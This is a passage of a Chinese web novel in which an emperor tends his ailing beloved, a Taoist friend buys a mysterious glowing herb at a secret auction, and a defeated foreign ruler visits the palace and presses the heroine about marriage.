可在他跟袁毅刚闲聊没几句后，牧九明便匆忙跑入宫中，他甚至等不及宫女进来通秉，便推开侍卫闯了进来。
袁毅跟牧九明相来不和，两个人之间的矛盾，几乎大到不能同时出现。眼下两个人共处一室，都十分不自在。
只不过袁毅清楚，自己跟穆轩岚也只剩寒暄，而看牧九明的表情，的确像是有重要的事情。他便主动请辞离开，留他们两人独处。
谢意在牧九明嘴边打转，最终还是没有说出口。他只回望了一下袁毅转身离开的背影，便赶忙转头看向穆轩岚。
“陛下，我有一件事情拜托你。”牧九明的表情格外急切。
穆轩岚心中轻声叹气，若是可以的话，他真想开口劝劝袁毅和牧九明。他们两个人之间，也不是什么严重的矛盾，只不过一个信诸天神佛，一个只信自己罢了。
可这两个人可是一个赛一个的犟种，他谁也劝不了。
“如果还是说那个戏班的事情，那就没什么好说的了。”穆轩岚一下便猜中了他的心事。
牧九明站在原地愣了一下，他不想放弃，便又开口找补什么，“你当初明明同意去的。”
穆轩岚从书案后起身，双手背在身后，一脸疑惑的看向他。
“我说去也是跟千千一起，并未说与你同行啊。再者说，道不同不相为谋的道理，不用我再给你强调了一遍吧？”
这点穆轩岚其实一直不理解，执迷于云岫山的并不是自己。若说跟谁谈的来此事，那牧九明应该去找先帝，而不是来找自己。
可现在
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的牧九明，仿佛怎么都看不透这一点，他偏要拉着穆轩岚去找什么仙草。
牧九明焦心地咬了咬嘴唇，几乎要把下嘴唇咬出血来。
穆轩岚也不催他，等他自己想清楚。
“皇上，我之所以请您过去，是想让这世上最理智的人，帮我见证一下。”牧九明自小修道，原本他的眼神中只有淡然和冷静。
可现在那其中多了一丝疯狂。
穆轩岚不愿戳破他的谎话，但也不愿意跟着他将错就错。
平时倒还好说，现在他有时间都要回去陪千千，着实没空抽时间应付牧九明。
不过那奇闻戏班，一直也是千千想去的地方……
“过几日再看吧。他们进京的时候，若是千千的病好了，那我们就一起前去。”
此次的商议，与前几次并无什么不同，牧九明没说什么便离开了。可事实证明，他并没有因此沮丧，三天后甚至亲自上门，去找穆轩岚。
彼时的秦千千刚睡下，穆轩岚还没来得及入睡，就被元德小声叫了出去。知道来人后，穆轩岚就知道他来是问什么的。
暗卫傍晚来报，奇闻戏班今夜就要入京，牧九明肯定是为了此事前来。
“我们今夜要一同前去吗？”牧九明看到来人，便赶忙从椅子上蹿了起来，朝穆轩岚走来。
穆轩岚却不紧不慢地撩开长袍，坐在主位上，甚至嘱咐元德去沏一壶好茶。
“我去不了。”
这几日，千千的情况虽然没有恶化，但依旧是见不得风，只要被风吹两阵，就会头痛咳嗽，更别说在这夜凉如水的时候，带着她出去乱跑了。
听他这么一说，牧九明也着急了。
“可是，在他们入京后一个时辰竞价便要开始。也就是说，错过今夜，我们就再也不能去了。”
牧九明能得到的消息，穆轩岚一样不少。他自然知道，奇闻戏班今夜就要将搜罗的东西售卖一空，然后再度隐匿人间。
可他实在不想抛下千千独自去那里，何况他本来就对那不感兴趣。
可在垂眸沉思之时，穆轩岚想到了什么，他抬头好整以暇地看着牧九明。
“那你不妨告诉我，为何非要拉我进去？若是理由合理，我会跟着你去的。”
一句话让牧九明熄了火，他神情犹豫地在厅中踱步，后来干脆颓废的坐在椅子上长吁短叹。不过，最终他还是下定了决心。
“到时候高手如云，我不一定能买到那些仙草。所以我其实是想拉着你去看那件东西，哪怕我买不到，你总能帮我买到。”
牧九明把自己的心事和盘托出，当初他描述此事是给穆轩岚听的时候，穆轩岚就不是太相信。
所以牧九明执意让他去，就是想让他看看，那种神奇的仙草真的存在。
而他不敢言说与口的最终目的，其实跟当初玄阳道的那些人差不多。光凭他一己之力，追踪仙草、寻找云岫山太过渺茫。
可若是有了当今皇上的支持，那一切都不一样了。
所以，问题最终还是归咎于，如何让穆轩岚相信仙草的事情上。
180. 拍卖开始了
“你要是这么说的话，我让元德给你拿银票，只不过我真的不能到场。”
穆轩岚的意思已经很明确了：牧九明的托词说服不了他。
“好吧，那这就当是我先借你的银子。”
事到如今，牧九明只能把希望寄托于买到仙草上。有了实证，他就很容易能说服穆轩岚。
在送别牧九明后，元德低声跟穆轩岚汇报的情况。
“奇闻戏班要入京的消息，现在仍是秘密，我还要瞒着晏信吗？”元德有些不安的问道。
虽说他时常跟着穆轩岚在宫中，可那并不代表府中的一切事情，他们都不知道。相反，他们知道的一清二楚。
两人都清楚，晏信答应了秦千千，要代她去奇闻戏班，回来还要跟她讲故事。
可穆轩岚早早就交代了，不能让晏信去那里。元德以为当初他这么说，是不想让晏信抢走秦千千的关注。
现在陛下对晏信的态度有所改观，元德便硬着头皮再问了一次。
他主要担心的是，此次奇闻戏班陛下不去，晏信再不能去，就没人能跟秦千千说当时的情况了。
穆轩岚看了一眼元德，知晓了他心中的意思。想都没想，便回答他：“当然不能让他去。不过你打扮一下去那里，看有什么调养身体的药，有就买回来，其他的一概不用管。”
穆轩岚再度回寝宫时，虽然他轻手轻脚的，但秦千千这几日仍睡得不踏实，最后还是悠悠转醒，问他现在是什么时辰？
“你刚睡下没两个时辰，再睡一会儿吧。”看着迟迟不见好转的千千，穆轩岚又伴着黑暗中忧愁了好久。
与这边孤寂深夜完全不同的，便是京都城南十几里的娘娘庵——那里有全京都最大的戏台。
时不时就会有戏班子将那里租下，在那里表演。京都本就繁华热闹，在那里做生意也是稳赚不赔。因此，娘娘庵几乎天天都有大戏可听。
奇闻戏班的落脚点也是那里，只不过他们不唱戏，而是在娘娘庵对面几里的一家酒馆中，举行他们三年一度的狂欢。
从王府出来，牧九明便马不停蹄的往那边赶。等他赶到时，娘娘庵早已热闹非凡。
新皇上位之后便取消了宵禁这件事情，再加上娘娘庵得天独厚的条件，以及今晚将要迎来的狂欢，都让这里比白天还要热闹几倍。
人头攒动，叫嚷声喧天。
不过，也不是谁都能进奇闻戏班的典拍现场的。首先要花五十两纹银，买一张入场牌。而这，也能筛选一部分入场人的资格。
牧九明虽然不是什么富甲天下的人，但是五十两还是出得起的。更别说，他手中还有在穆轩岚那里借来的万两银票了。
虽说这是他第一次前来典拍，但是该做的准备他一点没少。
典拍是在一个大厅中举行，因此谁拍下了什么东西，在座的都清清楚楚。为了不暴露自己的真实身份，不在典拍后被贼人惦记，牧九明遮的严实，身着大氅还戴上兜帽。
而进入现场后，他才发现，自己这样的装扮并不特殊。大家都是带着面纱，有些甚至戴着滑稽的面具。
等他被侍童接引着落座时，才发现厅中的典拍早就开始了。
牧九明连忙拉住那个侍童，问他这开始多久了，已经卖出多少东西。
“你们这个怎么不按时间来？不是说一个时辰后才开始吗？”
那侍童似乎见怪不怪，他赶忙赔笑又不卑不亢的解释：“那只是大概时间，真正的交易时间还得看奇闻戏班的人。今日他们要求早些开场。不过，也或许是出现了一个豪掷千金的大顾客，买走了经验一半的重头戏吧。”
牧九明心中一紧，便追问他：“是什么重头戏？”
那侍童却不想再说了，他只说自己是随便听来的，不见得为真。
“没事没事，我也只是听个热闹而已，你说说看。”牧九明给他塞了几两银子，那人这才继续说了下去。
今夜原本的重头戏，是两个通体火红的雪狐，那可是世间基本没听说过的，寻常雪狐都是白色，那两只却是火红的。
结果在奇闻戏班入京前，绝大部分人都不知道今夜要拍什么的时候，有一个人出黄金千两，要收奇典拍中的一个物件。
说到这里，那侍童左右张望了一下，发现掌柜的没有看到自己在偷懒后，这才继续说道。
“说出来你可能不信，也正是因为这个行为传出去，大家才好奇，那所谓的仙草到底是什么？于是形势突然变化，雪狐也变得不值钱了，大家都想看看那些草。”
牧九明心中一急，豪掷千金买仙草的人会是谁呢？穆轩岚？可他说自己不会来这里……
只不过，很快另一个问题盖过了其他所有的问题。
“你说那人买走了半数的仙草，意思是黄金千两，也只能买走两株吗？”
那侍童惊讶地连连抽气：“客官，你怎么知道是四株？这还是我刚刚听来的消息呢！”
牧九明轻轻咳嗽两声，随便搪塞过去。也正好那边的掌柜的唤他去接待客人，两个人的对话便就此终止。
牧九明本是不善与人沟通的人，可出去历练的这几年也让他学会了八面玲珑。于是，他很快便与邻桌攀谈起来，这才得知一些奇闻戏班的规定。
好物成双，且不单售。
也就是说，他们搜罗的稀奇物件，必须要成双成对，而且这些东西不能单单卖给一个人。于是，千两黄金也只能买到两株仙草。
牧九明不由得在心中苦笑，这仙草身价还真翻得快！
只不过，不知道待会儿自己要花多少两，才买的到……
“刚刚那人花千两买仙草，那岂不是，过会儿的起拍价就是黄金千两？”牧九明不解地问。
那位黑纱遮面的人却哈哈大笑。
“小兄弟是第一次来吧，那位先下手的人，他的所作所为叫拔得头筹。”
也就是说，在典拍开始之前，以远远高出典拍上线的价格，购得稀罕物件。剩下的那一部分，肯定不会按这个价格来，而是一步一步地典拍涨价。
“所以小兄弟你不用惊慌，只不过按往常的经验来说，拔得头筹的情况非常少见。大家也会因为他的这个行为，而给这个物件抬价。至于究竟多少钱能买到，那得看待会儿的情况了。”
牧九明眉心突突的
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跳着，总觉得来者不善。那人既然买了两株仙草说不准，还会豪掷千金，请托儿再拿下另外两株。那到时候，自己可真就是竹篮打水一场空了……
入场的人越来越多，牧九明才发现，在其中发现了很多熟悉的面孔：王爷公侯、达官贵人，有几个虽然带着面纱，但他也能看清楚是谁家的小姐公子。
看得出来，整个京都都来这里凑热闹了。
台上开始拍卖那个所谓的雪狐：两个四方铁笼中，分别装着两只小兽，形态迥异，一只瑟瑟发抖，另一只却怒目圆睁的看着在场的人。
典拍现场，并没有牧九明想的那么高雅安静，反而相当嘈杂，时不时还会有人进来。
也就是恍惚跑神时，牧九明才发现，那位接引自己的侍童在引着人上楼。
邻桌显然是个话多的，他又给牧九明闲聊了起来。
”咱们这边坐的，可能是有钱的。那上面的，才是真正的达官贵人！“
牧九明心中一个咯噔，厅中的一些达官贵人，也仅仅是丞相之下了，那去往楼上的究竟是何方神圣？
他来不及细想，台上的主事便开始满带笑意地介绍起这两只雪狐。
在特制烛光的照耀下，整个大厅都明亮如白日，而那狐狸油光水滑的皮毛上，折射出莹莹红光，让牧九明又想起了那夜的仙草。
叫价也很简单粗暴，大家一个接一个的，叫出自己想出的价格。不出半炷香的时间，雪狐的价格已经被叫了上千两白银。
修道之人还是有些心软的。牧九明觉得，他从那两只形态各异的雪狐眼中，看到了相同的东西——害怕。
可他也清楚，自己救不了所有的东西。那两只雪狐是分开拍卖的，他只能在心中允诺，自己回去多替它们念两遍往生咒。
在他下定决心的时候，雪狐的售卖结束了，最终的价格是一千三百两，而那只更为精力充沛的，则卖到了一千五百两。
拍得雪狐的人当场交付银票，然后就在侍从的引荐下，从后门离开了。
牧九明此时惊诧不已，他转头问隔壁的人，这是怎么回事？
那人才跟他解释，这是规矩，买得一件稀释珍宝后就必须得离开。
牧九明忍不住骂了一句该死，那男人却笑着跟他继续解释。
“特别是奇闻戏班的行事根本。他们争取让更多的人，见到更稀奇的事情。因此，好物成双是基于这个原因；不售卖给一个人也是这个原因；现在拍的东西后，请人离开更是因为这个原因。”
牧九明不得不跟着感叹一句，好像有点道理。
就在此时，台上展出了一个托盘。
看到托盘中的物件时，牧九明彻底死心了——那就是自己曾经见到过的仙草，只不过只有一株！
牧九明立马意识到，他只能拍得这一株，然后被请离场了。与其在这里蹉跎，倒不如先拿下这一株，然后再出去想办法。或许他可以找人代替自己，进来再拍得另一株。
牧九明这么想的，也就这么做了。于是，在前面还几百两几百两加价的时候，他直接把价叫到了八千两。
毫无意外，他拿下一只仙草离席。
181. 神秘的仙草买主
与牧九明一同离席的，还有元德送出的消息。
牧九明清楚，离最后一只仙草典拍，还有一段时间。奇闻戏班会把重要和不重要的东西，混在一起典卖，自己现在还来得及再找个替身，进去帮自己拍下另一株。
可收了他几十两银子的人，却都无功而返，他们根本进不去那个酒楼。
“门口守着的人说，一个人只能买一个东西，让公子不要再费心机了。”在第三个人无功而返后，那个人还带来了一段话。
牧九明心下一凉，看来自己是不能拥有第二诛仙草了吗？
原本，他还计划一株送给穆轩岚，一株留着自己研究。可现在看来，这个希望破灭了。
只不过，在尘埃落定前放弃，可不是他会做的事情。他决定走远些再找人。
都说好事不出门，坏事传千里。坏消息传播的速度，比他走的要快得多。在他还没来得及找到下个人时，身边陌生的人群就沸腾了，他们激动地聊着楼中的故事。
“听说了吗？今天晚上特别抢手的仙草，又被一个人拍走了。”
“只不过这次还没上典拍台，就又被叫走了。”
“是啊，什么人拍的？多少钱我们都不清楚呢。”
“看来这个买家也很是神秘了。”
牧九明再三确认后，只得打道回府，带着自己怀中那保存完好的仙草。
只不过他回的府，是穆轩岚府上。
看着眼前泛着红光的不明植株，穆轩岚的心里也打起了鼓。那一抹诡异的红光，就像是这植物天生自带的一样。
他什么都没有说，只是拿起植株走向屋外，借着皎洁月光，又仔细端详了一会儿那巴掌大小的植物。除去红光，其实也没什么特殊的了。
“你当初不是说有四株吗，怎么只买回来一个？”
穆轩岚看他提心吊胆的样子，便转手把这东西还给他。若是不小心失了手，牧九明可能要当场被吓晕了。
牧九明赶忙把它装进尺寸合适的方盒里，安放妥当后，这才开始给穆轩岚讲起今天晚上的事情。说罢，他便满眼期待地看着穆轩岚。
穆轩岚也不负他所望地感叹起来：“没成想，这奇闻戏班的规矩还真挺多。”
牧九明不是为了听他这个感叹的，穆轩岚不愿意把此事挑明，牧九明便只能开门见山。
“你说有没有可能，云岫山真的存在。这种稀奇物件在此之前我从未见过，而且奇闻戏班的人收到这个，火急火燎地转手卖出，还卖了这么多钱，你说剩下的那三株会在谁手里？”
穆轩岚就知道他会这样，无视自己的暗示。
他不想谈这件事情，可牧九明却不依不饶。再加上他得到宝贝之后如此亢奋，穆轩岚就是想搪塞他也搪塞不过去。
“如果云岫山真的存在，买走那三株的人应该是云岫山的人吧。”穆轩岚只得开口说两句话。
牧九明想想觉得穆轩岚说的有道理，他思索片刻后又发现另一个事情：买走那三个植株的人，并不是同一批。牧九明的推测也很有依据。
“前面买走的两株，的确可以看做云岫山的人不想暴露此事。但若是那人还在典拍现场的话，他应该不会允许我买走第三株，也就是说，拿走两株的那个人已经走了。而第四株可能是另一个神秘买家。”
穆轩岚目光幽深地看了他一眼，顺着他的话说了下去。
“既然如此，那个人为何买了两株后便走了，不跟你一样委托别人拍下剩下的两个？而且听他做的事情，他应该做足了充分的准备，却为何那么轻易的放弃最简单的计划。”
这个问题让牧九明陷入了沉默，他着实想不通。
在他端坐沉默两炷香后，穆轩岚实在有些心累，便打发他回去。
“今夜我本就没怎么好好休息，你这三番两次的来打扰我，明日我还要上朝呢，你快先回去吧。”
穆轩岚困的两眼都有些呆滞了。他抬手揉了揉太阳穴，尽量与其平和的开口。
好在巨大的喜悦还没有冲垮牧九明的理性，听了这话后，他也立马起身离开。
穆轩岚再度回房后，这才安睡到天亮。
第二天的秦千千和穆轩岚是被人吵醒的。能在王府中叫嚷的人，只有六个：王老怪、桑风雪、桃花花、冬芸、云彩和晏信。
几位女生则是，因为这几天日夜操劳，直接住在了清风酒楼。府中只有为秦千千调养身体的王老怪和晏信，在府中吵闹的就是王老怪。
“别睡了，别睡了！快起来吧，你们两个。”他一边叫着，一边把门拍的震天响。
这几日，王老怪也是不会来打扰秦千千的，可今日他如此怪异，让秦千千没有被吵醒的怒火，只有满肚子的好奇。而她今日也终于来了些精神，便跟着穆轩岚起来，走向门口。
“出什么事了吗？”穆轩岚操劳一夜，嗓子哑的不行。他刚开口秦千千就惊诧的看着他，“我没事，就是昨晚没睡好而已。”
“昨天晚上奇闻戏班来了。可是我听说，他们刚入京就开始典拍东西，急的不行。昨天的拍卖好像没有进行完，要逃命一般四散不见了。”
王老怪一股脑把昨天的事情都给说了。这也是他今早去清风酒楼打酒的时候，听人闲聊知道的。
而京都现在满是奇闻戏班的事情，他知道秦千千想去看，没成想，一群人就这么错过了。
秦千千两条眉毛皱在一起，她不可思议地感叹：“本来还想说这次错过便错过，还有下次。谁敢找奇闻戏班的麻烦呢？而且看这架势，不会没有下一次了吧？”
秦千千刚说完，便面色痛苦地捂着心口，五官几乎都皱在一起。穆轩岚赶忙扶住她，问她怎么了。她大口吸了几口气，缓了一会儿后，才有心力回答他。
“心突然抽痛，不知道怎么回事。”
王老怪赶忙摆手，让他把秦千千放在床上，心悸可不是好事情。有时候心悸说不准马上会猝死，不过这话王老怪不敢说出口。
给她把脉诊之后，王老怪这才长出了一口气。
穆轩岚急切看着他，看王老怪神色放松之后，才敢开口到底怎么了。
“照理说，这几日你休息的也够了，怎么这心悸的老毛病还会犯？再多休息几日吧，没什么大事，估计还是前一段时间忙伤了。”
穆轩岚刚准备扶她躺下，却被秦千千拒绝，她一脸好奇地让王老怪给她讲
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昨天的事情。
看她兴致盎然，穆轩岚便打消了劝她休息的念头。他坐在千千身后，让她倚在自己怀中。
现在，王老怪已经对这两人的亲昵见怪不怪了。得了穆轩岚的眼神首肯后，他这才跟秦千千讲起昨天发生的事情。
只可惜，给王老怪讲故事的人没有五十两，不知道典拍里面发生了什么。在秦千千扼腕叹息，感慨这是有缘无份的时候，穆轩岚接着给她讲了里面的故事。
“你去了那里吗？”秦千千一脸激动地问他。
穆轩岚无奈地笑着，“昨夜我一直陪着你睡觉，你忘了吗？是牧九明去了。”
穆轩岚又跟她讲了，牧九明在那里经历的事情。
王老怪也在旁边听得津津有味，他甚至提议，把牧九明喊到府上，让大家长长眼看看那所谓的仙草。秦千千也满心期待的看着穆轩岚。
拒绝谁，穆轩岚也不能拒绝千千，他便答应了。
可派去请牧九明的元德，却急匆匆地赶回来，神色慌张的跟穆轩岚禀报。
“牧九明昨夜连日离京了，只留了这封书信。”元德把信递给穆轩岚，秦千千倚在他怀中，两人一同看完了那封信。
“也就是说，他决定再去闯荡江湖，找寻仙草的下落？”秦千千简明扼要地概括了他的信，王老怪在一旁捶胸顿足的懊悔。
“哎呀呀，错过了！这小道士走的也太急了，跟昨夜匆忙离开的奇闻戏班如出一辙嘛！”
说者无心，听者有意。
穆轩岚在想，若奇闻戏班真是被人追杀的话，说不准那一群人也找上了牧九明。
而外出的暗卫则得到了一个新的任务：寻找牧九明，并且保证他的安全。穆轩岚想，这是自己能为朋友做的最后一件事情了。
日子一天天过着，半个月后，千千的身体就好的差不多了。在穆轩岚还没来得及为此事开心时，她却提出了一个他不喜欢的计划。
“我身体好的差不多了，所以我想明日就搬离王府，这样就可以全身心地照顾酒楼的生意了。”秦千千一边摆弄手上穆轩岚新送她的簪花，一边神情谨慎地小心提议。
穆轩岚突然不知所措，心中也甚是慌乱。
“生意？那我呢？”他的语气甚至染上了一丝委屈。
秦千千赶忙拉起他的手跟他道歉，说自己不是那个意思。可穆轩岚知道，她就是那个意思。
那个他们多次商谈无果的话题，又再度绕了回来。现在的穆轩岚，便又再度提起了那个问题——
“千千，你还是不愿意跟我成婚吗？”
看着她一脸为难的表情，穆轩岚突然苦笑一声，只不过这笑意是在笑他自己。不等千千说什么，他便自顾自的剖析起局势来。
“你说，我怎么能放心让你离开呢？我们什么关系都没有。没有婚约、没有誓言，我只有眼前的你了。可你现在还要离开王府，是吗？”
秦千千满眼心疼地捧着他的脸，强行打断他偏执的想法。
“不不不，我只是想说，你不能在王府住一辈子。你是皇上，早晚要入主皇宫的。”
穆轩岚心下便有了定夺，一定是他母后给千千说了些什么。
182. 与魏凌鸣的再度遇见
事情就是那样，变化都是一点一点产生的。
刚开始是桃花花、桑风雪、冬芸和云彩，几人要忙于清风酒楼的事情搬离了王府；后来，晏信也开始在京中做起了自己的生意，也出了府；而给秦千千调养身体的王老怪，则是在她身体好转之后，住在了清风酒楼。
最后，穆轩岚还是没有留住秦千千，她也从王府离开。不过不是去清风酒楼，而是跟穆轩岚一起去了皇宫。
入主皇宫这件事情，他的母后以及朝中大臣，倡议了好几年，年年被穆轩岚驳斥。最终在秦千千的助攻下，两个人一同入宫，一切慢慢步入正轨，就那么维持了两年。
其实在这期间，两人有时住在皇宫，有时又宿在清风酒楼。
今日的秦千千，一睁眼便又看到，穆轩岚面带笑意的望着自己。
他总是这样，醒了也不吱声，只侧身支着脑袋看自己。
“今日有什么好事吗？陛下。”秦千千笑着问他。
每当看穆轩岚在清风酒楼住着的时候，秦千千总想起“蓬荜生辉”这个词。现如今又想到这个，让她自顾自的笑出声。
穆轩岚不答反问，让她先解释在笑什么。
秦千千如实解释后，穆轩岚愉悦地点了点头，决定也回报她一个好消息。
“今日有使臣觐见，而且是我们的老熟人。”
秦千千愣了两秒，便立马反应过来：“难不成是魏凌鸣？”
穆轩岚满意地点头，不过他不是满意魏凌鸣要来这事儿，而是满意，自己要赚钱千千一笔钱。
“当初我们两个是不是打赌？现在，你该赔我那十两银子了吧？”
从风陵回京的路上，两个人便打赌，赌魏凌鸣会不会听秦千千的话，放弃挑拨战争的行为。
正是因为这个赌，穆轩岚才没有把边境的事情告诉秦千千。
一个月前，魏凌鸣起兵入侵南梁朝的边疆，在那里驻守了近两年的袁毅，带兵火速平定了战乱。而且在穆轩岚的授意下，攻占了风陵。
大军压境吉武国，魏凌鸣已经放弃抵抗。准备等死时，南梁朝的士兵却停止了进攻的步伐。
比起直接让铁骑踏平那里，穆轩岚有更好的想法。
用国主自己的性命，换举国可能生还的机会，是谁都不会错过的，魏凌鸣也是如此。于是他便作为战俘，被袁毅带回了朝。
“我们陛下人果真很好。”
穆轩岚被秦千千突如其来的恭维，搞得有点摸不着头脑。不过他心中也没有什么不满，若是千千开口为魏凌鸣求情，自己自然会放他一马。
“所以，你可以不要我那十两银子吗？”
穆轩岚被逗的哈哈大笑，果然不管过去几年，千千还是那个勤俭节约的千千。两个人在欢声笑语中收拾妥当，一同回皇宫。
只不过会见魏凌鸣时，却只有穆轩岚一人。秦千千不是不在，她只是躲在屏风后而已。
“当初，我怎么就没看出你是皇帝？”魏凌鸣虽然处于下风，但他语气中的不忿，还是表露了出来。
穆轩岚没有感觉到被冒犯，只是毫不在意的审视着阶下之人。
“你当然看不出来，当时我就不是皇帝。”
真实情况是当时的魏凌鸣被下了药，可穆轩岚才不会告诉他这种事情。
“哼！多说无益，你若想杀我，杀了我便是。”
魏凌鸣的身上虽然没有手铐脚链，但满心满眼都是傲骨傲气之人，以俘虏的身份被带入其他国中，这无疑是莫大的耻辱。
他强硬的态度，穆轩岚倒是理解。
“我以为你见朕的第一面，会问千千在哪？”穆轩岚饶有兴致地开口。
他身后屏风里站着的秦千千，不用看他的表情就知道，他现在一定嘴角微微上扬。那是穆轩岚计谋得逞的小动作。
原本傲到天上的人突然怔住，魏凌鸣有些不知所措的问道：“她现在还好吗？我多次打探都没有听到封后的消息，你到底怎么她了？”
短短的一句话，就让穆轩岚的表情相当不悦。本该是自己拿捏魏凌鸣的时候，怎么无意间反被他将了一军？
屏风后的秦千千抿紧嘴唇，这魏凌鸣真是哪壶不开提哪壶。
原本自己不为魏凌鸣求情，就是因为秦千千知道，穆轩岚不会吞并他的国家。
他若是想这么干的，直接让军队大举进攻就是了，没必要让魏凌鸣再入宫一趟。而且在风陵时，自己劝魏凌鸣的话，穆轩岚全都听进了心中。
吉武国真不是什么好地方，哪怕打过去也是弊大于利。
秦千千觉得，自己若是没有猜错的话，那穆轩岚这次招他入宫，其实是想与他结成同盟国。可惜魏凌鸣这么会挑话题，秦千千觉得他还要为此受一点苦……
“比起这个，朕更想跟你谈谈两国之间的事情。”
果然穆轩岚的表情都开始严肃起来了。
可这两个人都知道，现在他们也没有什么好谈的，秦千千便在情况恶化之前赶忙走了出来。
“非常抱歉打扰陛下的国政，只不过我可以先跟他叙叙旧吗？”
秦千千的出现，无疑让魏凌鸣十分意外。在此之前，他怎么也想不到自己会这么快见到千千。
穆轩岚的表情虽然稍稍不悦，但还是如当初答应千千的那样，默许了她的请求。如果要说哪点不一样的话，那或许就是，应该放他们两个单独相处的穆轩岚，也跟着秦千千走下那几节台阶。
秦千千心下了然，这算是穆轩岚对魏凌鸣小小的报复。刚来就戳陛下的痛处，秦千千知道，这已经是穆轩岚能发的最小的脾气了。
魏凌鸣直到秦千千走到他面前，才缓过神来。他大喜过望看着千千，打量了很久才开口跟她说话。
“这几年你也操劳了不少吧，跟我记忆中的模样有点不太像了。”魏凌鸣语气温和，也与当初秦千千印象中的他不同了。
那个倨傲不屈的吉武国皇子，终究还是成熟了很多。
秦千千笑着点头，这几年她确实经历了太多。之前想都不敢想的事情，接二连三的发生在自己身上。
哪怕这两年开始顺风顺水的修养，曾经的事件也让她周身的气质不一样了。
“日子过着总会要经历很多的。”
穆轩岚就站在秦千千身旁，今早下了早朝便会见魏凌鸣，穆轩岚一身帝王装束还没来得及
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更换，庄严肃穆的衣服再加上他高魏凌鸣一些的身形，站在那里便有不怒自威的压迫感。
“当然，我们两个近些年都忙着正事。不像某人，偏要不自量力的谋划着不可能成的事情。”穆轩岚幽幽开口。
秦千千轻晃他的胳膊，还给他递了个眼神，穆轩岚宠溺的稍稍点头。他也只是想开口嘲讽两句，并没有真想和魏凌鸣水火不容。
在见魏凌鸣之前，两个人已经商量好了，劝降为主。若为魏凌鸣真的不想归降，那穆轩岚再做什么决定，秦千千都不会干预的。
两个人又毫无意外的赌了十两银子。
把千千现在的殷切，看作为那十两银子而努力后，穆轩岚心中便是好受了很多。
其实魏凌鸣心中也清楚，他此行虽说是以俘虏身份前来，但入京时的礼遇规格，还是很高的。
心心念念经营了那么些年的计划，在不到一个月的时间内便破产，魏凌鸣心中有气，但更多的是，认清了现状的释然。
因此，接下来他的态度都十分和善，不管对千千，还是对穆轩岚都万分尊重。
只不过这种礼遇有加的行为，在穆轩岚看来，就是对千千的爱屋及乌。说不准，还有对被自己打败不得不臣服的忍让……
好在穆轩岚今日无事，哪怕有事他也要推掉，今日偏要跟千千黏在一起。三个人从早上聊到日暮，夜宴时，秦千千终于提出了自己的那个问题。
“兵戈相向，不如把手言和。魏国主，你觉得呢？”
穆轩岚把一直黏在千千身上的眼神，稍稍转移看向魏凌鸣。可他的眼神中却全无探知意味，只是在观察。
魏黎明还从中读出了一些不在乎。
是了，他手下的铁骑明明能踏平自己国家，他确实有这份傲然的底气。
这一日，千千跟自己谈天谈地，谈她这几年的过往，也听自己跟她讲风陵和吉武国发生的事情，两个人就是重逢已久的老友。
时过境迁，魏凌鸣已经放下了对秦千千的那份感情。
这一天观察下来，他也发现穆轩岚对千千的占有欲非常的强，在允诺千千的提议之前，魏黎明还是想小小的任性一下。
“先不谈这个，我们要不要谈谈，你和他到底是怎么回事？”
光听这话，穆轩岚甚至觉得，如果魏凌鸣是女人的话，她们两个就像无话不谈的密友。只可惜他不是，穆轩岚心中还是万分戒备。
察觉到穆轩岚已经有些不悦了，秦千千赶忙牵着他的手，安抚似的捏了捏。
“我们两个很好，有什么好谈的。”
再见魏凌鸣前，秦千千就已经想到现在的局面了，因此现在她的心态还算平稳。
原本不知实情的魏凌鸣觉得，是穆轩岚不愿给她一个名分。可今日一天观察下来，他发觉事情似乎跟自己想想的不同。
穆轩岚那么精心呵护着她，又怎么可能不给她名分？再看千千没有意外的神情，魏凌鸣也猜到，问题出现在千千这里。
既然穆轩岚都决定放他一马，那魏凌鸣也决定投桃报李，帮一下穆轩岚。
有些话，太亲密的人无法说出口，由外人来说就再合适不过了。
183. 可以预见的两败俱伤
“陛下，事过经年，我对千千早已没有了男女之情，若陛下愿意的话，我想跟她聊几句。”魏凌鸣可谓是毕恭毕敬，话音刚落，还冲穆轩岚点头示意，就差把臣服二字写在脸上了。
穆轩岚想都不想，便要回绝。但看到魏凌鸣眼神中闪过的一丝难言后，他硬生生把话吞下一半。
“当然……好吧，我也有别的事情要做。”
秦千千对此有些不解，她不知道魏凌鸣为什么会支开穆轩岚。其实照她来看，她倒想让穆轩岚在这里听着。可她转念一想，魏凌鸣跟穆轩岚不对付，他这么做也是情有可原。
穆轩岚带走了元德，也带走了在暗处埋伏的暗卫，这是秦千千万万没想到的。
看来他是彻底看透，自己和魏凌鸣是不可能出问题的。
比起坐在这里，秦千千更想去外面走走，魏凌鸣也随她去了，两人跟着一同去了后花园。
月光皎洁，院中的两人也都敞开了心扉。
“看得出来你很喜欢他，自然他也是对得起你那份喜欢的。他给予你的喜欢，甚至不比你少。”
早在几年前，秦千千就知道，魏凌鸣识人手段算是一绝。现如今对他的这个判语，她也是坦然接受。
“是啊，我们两个一起经历过太多的事情，感情深厚点也是正常。”秦千千猜到了他要说什么，刻意与魏凌鸣保持距离。
她始终快魏凌鸣两步，走在他的前方，只有当秦千千愿意的时候，才会转头与他对视。其余时间，魏凌鸣看不到她的表情。
她在逃避。魏凌鸣十分清楚这点。
“可为什么有情人不能终成眷属呢？”
秦千千看着他咄咄逼人的目光，突然有些慌乱，心中又有翻涌出愧疚。
这一刻，她突然懂了穆轩岚所受的煎熬：他不舍得像魏凌鸣这样逼问自己，苦水只能默默往肚子里咽。
如果说自己假死真相揭晓时，是给穆轩岚一大罐的蜜糖，那自己的这个逃避行为，无疑是在蜜糖中给他加了砒霜。
此事终究要有个了结，这些年她也一直在逃避。可现在面对他的逼问，秦千千却不想逃了，她想要面对这件事情。
“原因在我，”秦千千不想再费神找个亭子，便直接坐在临近的台阶上，“我的前半生从未设想过此事，不是说嫁与谁为妻，而是说我从来没想过，自己会喜欢上谁，愿意把自己的心交给他。”
魏凌鸣很是吃惊，秦千千在他眼中是十分潇洒的，而这种人，一般都是看破了红尘。
就拿她和穆轩岚的事情来说，魏凌鸣是真的以为她没有做好婚嫁的准备，可没曾想，连喜欢上穆轩岚都是个意外……
“也就是说，他是你的意料之外？”
秦千千眼眶湿润，此事她不应该跟魏黎明说的，而是该光明正大的告诉穆轩岚。
可她却没有勇气那么做，她担心说出自己的想法后，会让穆轩岚受伤。纵使这几年，自己已经伤他很久了……
“是。可我完全不知道要怎么对心悦之人，我的前半生只做了一件事，我认为那是我唯一能做好的事情。现在要我突然放下那件事情，去做我从未做过的，我不敢。”
魏凌鸣轻叹一口气，伸手把她揽在怀里，沉吟良久才继续开口说话。
